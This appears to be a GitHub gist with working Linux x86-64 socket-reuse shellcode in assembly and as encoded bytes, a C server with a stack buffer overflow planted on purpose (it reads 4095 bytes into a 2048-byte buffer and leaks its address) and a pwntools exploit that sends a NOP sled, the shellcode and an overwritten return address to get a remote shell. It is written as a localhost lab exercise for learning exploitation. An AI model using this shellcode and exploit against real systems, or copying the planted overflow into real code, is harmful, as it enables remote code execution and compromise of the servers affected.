Skip to content

Instantly share code, notes, and snippets.

@jusmistic
Last active October 18, 2021 22:27
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jusmistic/08c1ae03cb1cef85ecfecbec9e4855ce to your computer and use it in GitHub Desktop.
Save jusmistic/08c1ae03cb1cef85ecfecbec9e4855ce to your computer and use it in GitHub Desktop.
Socket reuse Linux x86-64
; Linux x86-64 - Execve ("/bin/sh") Socket Reuse
; Length: 79 bytes
; Date: 21/03/2021
; Author: Puttimate "Jusmistic" Thammasaeng
; Tested on: x86_64 Debian GNU/Linux
; Socket Reuse x86-64
; 1. Finding sockfd using getpeername function.
; 2. Call dup2 sockfd with 0,1 and 2.
; 3. Execute /bin/sh.
; nasm -f elf64 socket_reuse.asm -o socket_reuse
; objdump -d ./socket_reuse |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
; Ref: https://d3fa1t.ninja/2017/09/17/linux-x86-one-way-shellcode-socket-reuse/
find_fd:
; 1. Finding sockfd using getpeername function.
; int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; src: https://man7.org/linux/man-pages/man2/getpeername.2.html
; getpeername syscall: 0x34
; rax = 0x34
; rdi = sockfd
; rsi = *addr
; rdx = *addr_len
; src: https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md
; Note:
; sockaddr size is 16 bytes.
; Solution:
; 1. Prepare stack for *addr and *addr_len
; 2. Call getpeername(sockfd++, ...)
; 3. loop until rax eq 0 (if the sockfd is correct rax will eq 0)
; After we found a sockfd IP Address will store at rsi+4.
; You can add an IP checking if you want.
xor rdx, rdx ; rdx = 0
mov rdi, rdx ; rdi = 0
; rsi = *addr
push rdx ; prep stack for *addr
push rdx ; prep stack for *addr
mov rsi, rsp ; rsi = *addr
; rdx = *addr_len
mov dl, 16 ; addr_len = 16
push rdx ; push addr_len to stack
mov rdx, rsp ; rdi = *addr_len
; syscall getpeername
loop_findfd:
; rdi = sockfc
inc rdi ; inc every loop
xor rax, rax ; rax = 0
mov al, 0x34 ; rax = 0x34
syscall ; call getpeername
test rax, rax ; if rax != 0 jmp to loop_findfd
; else => rdi is sockfd -> dup2
jne loop_findfd
dup2:
; 2. Call dup2 sockfd with 0,1 and 2.
; int dup2(int oldfd, int newfd);
; src: https://man7.org/linux/man-pages/man2/dup2.2.html
; dup2 syscall number: 0x21
; rax = 0x21
; rdi = sockfd
; rsi = 0,1,2
; src: https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md
; Solution:
; 1. Setup arg for dup2 function.
; 2. Call dup2 function.
xor rsi, rsi ; rsi = 0
loop_dup2:
mov rax, rsi
mov al, 0x21 ; rax = 0x21
syscall ; call dup2(sockfd, rsi)
inc rsi
cmp sil, 0x3 ; if rsi != 3 jmp back to loop_dup2
; else execv spawn shell
jne loop_dup2
exec_shell:
; 3. Execute /bin/sh.
; I don't know how to write shellcode to spawn shell just use the snippet from http://shell-storm.org/shellcode/files/shellcode-806.php .
xor rax, rax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
;
; Python3
; sc = b"\x48\x31\xd2\x48\x89\xd7\x52\x52\x48\x89\xe6\xb2\x10\x52\x48\x89\xe2\x48\xff\xc7\x48\x31\xc0\xb0\x34\x0f\x05\x48\x85\xc0\x75\xf1\x48\x31\xf6\x48\x89\xf0\xb0\x21\x0f\x05\x48\xff\xc6\x40\x80\xfe\x03\x75\xf0\x48\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
; Length: 79 bytes
;
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
// src: https://d3fa1t.ninja/2017/09/17/linux-x86-one-way-shellcode-socket-reuse/
// use for testing Socket-reuse shellcode x64
int newsockfd;
void error(const char *msg)
{
perror(msg);
exit(1);
}
void greet(int newsockfd){
int n;
char Hello[500];
char buffer[2048];
sprintf(Hello, "Welcome to my server!Send a message!\nbuffer: %lp\n", &buffer);
write(newsockfd,Hello,strlen(Hello));
n = read(newsockfd,buffer,4095);
if (n < 0) error("ERROR reading from socket");
}
int main(int argc, char *argv[])
{
int sockfd, portno;
socklen_t clilen;
char buffer[4096], reply[5100];
struct sockaddr sock;
struct sockaddr_in serv_addr, cli_addr;
int n;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR opening socket");
bzero((char *) &serv_addr, sizeof(serv_addr));
portno = 1337;
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if (bind(sockfd, (struct sockaddr *) &serv_addr,
sizeof(serv_addr)) < 0)
error("ERROR on binding");
printf("\n\n Server socket number is %d\n\n",sockfd);
listen(sockfd,5);
clilen = sizeof(cli_addr);
newsockfd = accept(sockfd,
(struct sockaddr *) &cli_addr,
&clilen);
printf("\n\n Client socket number is %d\n\n",newsockfd);
if (newsockfd < 0)
error("ERROR on accept");
while (1) {
greet(newsockfd);
}
close(newsockfd);
close(sockfd);
return 0;
}
from pwn import *
def exp():
p = remote("localhost", 1337)
p.recvuntil(": ")
client_addr = int(p.recvline()[:-1], 16)
print(f"Buffer Address: {hex(client_addr)}")
# p.recvuntil(": ")
sc = b"\x48\x31\xd2\x48\x89\xd7\x52\x52\x48\x89\xe6\xb2\x10\x52\x48\x89\xe2\x48\xff\xc7\x48\x31\xc0\xb0\x34\x0f\x05\x48\x85\xc0\x75\xf1\x48\x31\xf6\x48\x89\xf0\xb0\x21\x0f\x05\x48\xff\xc6\x40\x80\xfe\x03\x75\xf0\x48\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
buf =b""
buf += b"\x90"*200
buf += sc
buf += b"\x90"*(0xa00-len(buf))
buf += b"B"*8
buf += p64(client_addr+150)
buf += b"D"*20
p.sendline(buf)
p.interactive()
exp()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment